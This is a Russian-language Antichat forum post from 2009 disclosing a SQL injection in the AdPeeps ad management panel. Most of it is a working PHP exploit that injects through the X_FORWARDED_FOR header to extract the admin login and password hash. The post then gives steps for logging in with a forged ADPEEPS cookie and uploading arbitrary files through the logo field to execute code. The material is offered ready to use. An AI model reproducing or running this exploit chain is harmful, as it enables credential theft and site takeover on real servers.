Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
AdPeeps sql инъекция, выполнение php кода |

15.09.2009, 01:43
|
|
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме: 2375131
Репутация:
1695
|
|
AdPeeps sql инъекция, выполнение php кода
>> Сайт: http://adpeeps.com/
>> Уязвимые версии: 8.5d2d(последняя), 8.5d2c, 8.5d1, возможно и другие.
>> Уязвимость в файле adpeeps.php, не проверяются HTTP заголовок X_FORWARDED_FOR на наличие опасных символов, но участвует в sql запросах.
Вот пример сплойта, который получает логин и хеш админа.
PHP код:
#!/usr/bin/php
<?
//title: Advertisement Management Control Panel
if ($argc < 2)
die($argv[0]." <host> <path> [<version>]\n");
$host = $argv[1];
$path = $argv[2];
$ver = @$argv[3];
$delimiter = "_".substr(md5(rand()),0,5)."_";
$sql = "concat('".$delimiter."',(SELECT concat(authname,':',authpasscode) FROM adpeeps_auth WHERE campaignid=0 LIMIT 1),'".$delimiter."')";
function SendQuery ($host, $query) {
GLOBAL $delimiter;
$buff = '';
$fp = fsockopen($host, 80, $errno, $errstr, 10);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
exit;
} else {
fwrite($fp, $query);
while (!feof($fp))
$buff .= fgets($fp, 128);
fclose($fp);
}
$result = explode($delimiter, $buff);
return $result[1];
}
//Определяем версию
if (empty($ver)) {
$ver = trim(@file_get_contents("http://".$host.$path."version.txt"));
if (empty($ver)) die("Can't define the version\n");
echo "Current version: ".$ver."\n\n";
}
//Выбираем эксплоит
if ($ver == "8.5d2d" || $ver == "8.5d2c") {
$ip = "X_FORWARDED_FOR:' LEFT JOIN adpeeps_settings AS settings ON 1=2 LEFT JOIN adpeeps_iptocountry AS geo ON 1=2 WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20,21,22,23 #";
} elseif ($ver == "8.5d1") {
$ip .= "X_FORWARDED_FOR:' WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20 #";
} else {
die("Can't find exploit for version ".$ver."\n");
}
//Получаем логин и хеш админа
$query = "GET ".$path."adpeeps.php?bfunction=showad&btype=2 HTTP/1.1\r\n";
$query.= "Host: ".$host."\r\n";
$query.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$query.= "Connection: close\r\n";
$query.= $ip."\r\n\r\n";
echo "~> Admin auth info: \n";
$result = SendQuery($host, $query);
if (empty($result))
die("Exploit failed\n");
//$authkey = md5($loginname.$loginpassword);
echo $result."\n\n";
?>
>> Вход в админку через cookie:
+ ADPEEPSAUTH=логин:хеш:0
>> Загрузка произвольных файлов в админке по адресу http://site/index.php?loc=define_settings&uid=100000 , поле "Upload your own logo"
После загрузки файла он будет находится:
+ для версии 8.5d2d по адресу http://site/uploaded_banners/100000_logo_имяфайла
+ для версии 8.5d1 по адресу http://site/uploaded_banners/имяфайла
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|